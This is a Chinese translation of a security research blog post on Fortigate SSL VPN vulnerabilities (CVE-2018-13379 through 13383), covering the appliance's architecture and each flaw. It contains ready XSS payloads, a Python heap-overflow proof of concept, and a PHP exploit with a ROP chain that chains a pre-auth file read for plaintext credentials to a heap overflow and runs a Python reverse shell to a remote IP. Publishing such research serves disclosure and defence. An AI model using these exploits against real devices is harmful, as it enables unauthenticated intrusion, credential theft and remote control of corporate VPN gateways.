故事开始于去年8月,当时我们正式开启了一个关于SSL VPN的研究项目。与IPSEC VPN和PPTP VPN相比,SSL VPN更易于使用,并且与任何网络环境兼容。现如今,SSL VPN也成为全球各大企业最主要的远程访问技术!
但是,如果SSL VPN设备不安全怎么办?它既是企业的重要资产,也是企业的安全盲点。根据我们对财富500强企业的调查,排名前3位的SSL VPN厂商占据了约75%的市场份额。SSL VPN可以说是一个赢者通吃的市场。因此,一旦我们发现某款知名SSL VPN产品上的一个致命漏洞,影响将是巨大的。特别是考虑到,SSL VPN天生就必须暴露在互联网上。
在研究开始时,我们对全球知名的SSL VPN厂商的CVE数量做了一个小调查:
我发现Fortinet和Pulse Secure似乎是最安全的,真的吗?很快,我们对着两个企业的产品发起了挑战!这篇文章主要关于Fortigate SSL VPN,下一篇文章将谈到Pulse Secure,欢迎持续关注!
Fortigate SSL VPN
Fortinet将他们的SSL VPN产品线称为Fortigate SSL VPN,广泛部署于大中型企业。目前在互联网上有超过48万台Fortigate设备,在亚洲和欧洲很常见。我们可以通过URL特征/remote/login
来进行识别,其技术特点如下:
1.一体化的二进制文件
让我们先从文件系统开始研究。我们尝试列出/bin/
中的所有二进制文件,发现其所有的符号链接都指向/bin/init
,就像:
Fortigate将所有程序和配置编译成一个二进制文件,这使得init
非常庞大。它虽包含了成千上万的功能,但只有SSL VPN所必需的程序,所以机器系统环境对黑客来说非常不友好,甚至没有/bin/ls
和/bin/cat
!
2.Web进程
Fortigate设备上运行着两个web接口。一个管理接口,在端口443上启用,由/bin/httpsd
处理。另一个是普通用户界面,默认端口在4433上,由/bin/sslvpnd
处理。一般来说,管理页面是禁止互联网访问的,我们只能从用户界面入手。
通过我们的调查,我们发现产品的web服务从apache修改而得的,且是基于2002年版本的apache。很显然,一切都源于2002年的apache,因此我们可以对照apache的源代码来加快分析速度。
在以上两个web服务中,是由apache模块编译成二进制文件来处理每个请求URL,这块也值得我们深入研究。
3.WebVPN
WebVPN是一个很方便的代理功能,它能让我们通过浏览器连接到内网所有的服务。它支持许多协议,如HTTP、FTP、RDP。它还可以处理各种web资源,如WebSocket和Flash。为了正确处理网站,它会解析HTML并重写所有url。这涉及到大量字符串操作,很容易出现内存漏洞。
漏洞
我们发现了以下几个和Fortigate SSL VPN有关的漏洞:
CVE-2018-13379: Pre-auth任意文件读取
当获取相应的语言文件时,会使用lang参数构建json文件的路径:
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
以上函数没有任何安全保护,虽然貌似只能指定json文件,但实际上我们可以利用snprintf
的特性实现任意文件读取。根据函数参数,其最多将栈空间-1
的字符串写入输出中。因此,我们只需要使输入超过缓冲区大小,.json
就会被删除,我们就可以读取任意文件。
CVE-2018-13380: Pre-auth XSS
XSS示例如下:
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29 /message?title=x&msg=%26%23<svg/onload=alert(1)>;
CVE-2018-13381: Pre-auth 堆溢出
在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度,然后它编码到缓冲区。首先,在计算阶段,如果要将字符<
编码为&#60;
,将占用5个字节。而一旦它遇到任何以开头的内容,例如
&#60;
,它会认为这是一个已经编码完成字符,将直接计算它的长度。逻辑如下:
c = token[idx]; if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>') cnt += 5; else if(c == '&' && html[idx+1] == '#') cnt += len(strchr(html[idx], ';')-idx);
然而,缓冲区长度计算和编码过程并不一致,编码部分并不会忽略后的内容。
switch (c) { case '<': memcpy(buf[counter], "&#60;", 5); counter += 4; break; case '>': // ... default: buf[counter] = c; break; counter++; }
如果我们输入了一个恶意字符串,例如<<<;
,则<
仍然会被编码为&#60;
,因此最后结果是&#60;&#60;&#60;;
!这比预期的长度6大的多,最终会导致堆溢出。
PoC:
import requests data = { 'title': 'x', 'msg': '' + '<'*(0x20000) + ';<', } r = requests.post('https://sslvpn:4433/message', data=data)
CVE-2018-13382:magic后门
在登录页面中,我们发现了一个名为magic
的特殊参数。一旦该参数等于某个硬编码的字符串,我们就可以修改任何用户的密码。
根据我们的调查,目前仍有大量的防护SSL VPN受该漏洞影响。因此,我们并不会透露这个特殊的字符串,而CodeWhite的研究人员也成功复现了这个漏洞。毫无疑问,这个漏洞将会被大量利用,各位管理员应尽快更新自己所管理的SSL VPN!
CVE-2018-13383:Post-auth 堆溢出
这是WebVPN功能的一个漏洞。当解析HTML中的javascript时,它试图用以下代码将内容复制到缓冲区:
memcpy(buffer, js_buf, js_buf_len);
缓冲区大小固定为0x2000
,但是输入字符串可以是无限大。因此,这里有一个堆溢出。值得注意的是,这个漏洞可以溢出空字节,这对我们的漏洞开发非常有用。
要触发此漏洞,我们需要将利用代码放置在某个HTTP服务器上,然后要求SSL VPN将利用脚本代理为一个普通用户。
Exploitation
官方报告最初没有说明这些漏洞蕴含的RCE风险。而我们将向你展示如何在不进行身份验证的情况下从用户登录界面进行攻击。
CVE-2018-13381
我们的第一个尝试是pre-auth堆溢出。然而,这个漏洞有一个缺点——它不能溢出空字节。当然,这并不是一个难以解决的问题,现在的堆利用技术应该能克服这个困难。但是,我们还发现了几个意料之外的障碍,使堆不够稳定且难以控制。
- 单线程,单进程,单分配器
web守护进程处理与epoll()的多个连接,没有多进程或多线程,主进程和库使用相同的堆,这称为JeMalloc。这也意味着,所有连接的所有操作的所有内存都分配在同一个堆上,堆真的很乱。
- 某些定期执行的操作
这会严重干扰堆,让我们无法仔细管理堆。
- Apache的额外内存管理。
直到连接结束,内存才会被释放。我们不能在单个连接中管理堆。实际上,这对和堆有关的漏洞来说是一种有效的防御。
- JeMalloc
JeMalloc隔离了元数据和用户数据,因此很难修改元数据,进行堆管理。
最终,我们还是利用失败了,如果有人成功了,请和我联系!
CVE-2018-13379 + CVE-2018-13383
这是任意文件读取和堆溢出的漏洞组合。一个用于获得权限,另一个用于获得shell。
1.获得权限
我们首先使用CVE-2018-13379
获得session文件,其中包含非常有价值的信息,例如用户名和纯文本密码,这能让我们轻松登录。
2.得到shell
登录后,我们可以让SSL VPN代理指定HTTP服务器上的恶意脚本,然后触发堆溢出。
由于上述一系列堆的问题,所以我们需要一个好的目标,最好它无处不在,这样每次触发漏洞时,都可以轻松实现溢出!然而,从这个庞大的程序中找到这样一个目标是一项艰巨的工作,所以我们很快陷入了困境。于是我们开始尝试fuzz,希望能得到一些有用的东西。
经过一段时间的测试,出现了一个惊人的发现,我们几乎控制了程序计数器!
Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax) (gdb)
崩溃发生在SSL_do_handshake()
int SSL_do_handshake(SSL *s) { // ... s->method->ssl_renegotiate_check(s, 0); if (SSL_in_init(s) || SSL_in_before(s)) { if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) { struct ssl_async_args args; args.s = s; ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern); } else { ret = s->handshake_func(s); } } return ret; }
我们覆盖了struct SSL
中名为method
的函数表,因此当程序试图执行s->method->ssl_renegotiate_check(s, 0);
时,它崩溃了。
这就是我们的理想目标!struct SSL
的分配很容易就被触发,而且大小刚好接近我们的Javescript缓冲区,所以它可以在我们的缓冲区附近!由代码可知,ret = s->handshake_func(s);
调用了一个函数指针,这是控制程序流的最佳选择。有了这一发现,我们的漏洞开发策略就明确了。
我们首先使用SSL structure
向堆中喷洒大量普通请求,进行溢出。
这里我们用PHP编写的PoC放在HTTP服务器上:
<?php function p64($address) { $low = $address & 0xffffffff; $high = $address >> 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> <a href="javascript:void(0);<?=$p;?>">xxx</a>
这个PoC可以分为三个部分。
1.虚假的SSL structure
SSL structure
和我们的缓冲区相靠,因此我们可以精确伪造。为了避免崩溃,我们将method
设置为一个包含空函数指针的位置。此时的参数是 SSL structure
本身s
。但是,method
前面只有8个字节,我们不能简单地调用system("/bin/sh");
,这对于我们的反向shell来说是不够的。不过由于那个巨大的二进制文件,我们很容易找到ROP小片段。我们发现一个有用的堆栈枢轴:
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
因此,我们将handshake_func
设置为这个小片段,将rsp
移动到SSL structure
中,进行下一步的ROP攻击。
2.ROP链
这里的ROP链很简单。我们稍微向前移动rdi
,以便有足够的空间执行反向shell命令。
3.溢出的字符串
最后,我们连接溢出填充并加以利用。一旦我们溢出了SSL structure,就会得到一个shell。
最终稳定利用还需要多次尝试,因为有时程序会提前崩溃。但无论如何,攻击还是奏效了,只需要1~2分钟,就可以获得一个反向shell。
演示视频:https://youtu.be/Aw55HqZW4x0
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2862.html 来源:https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1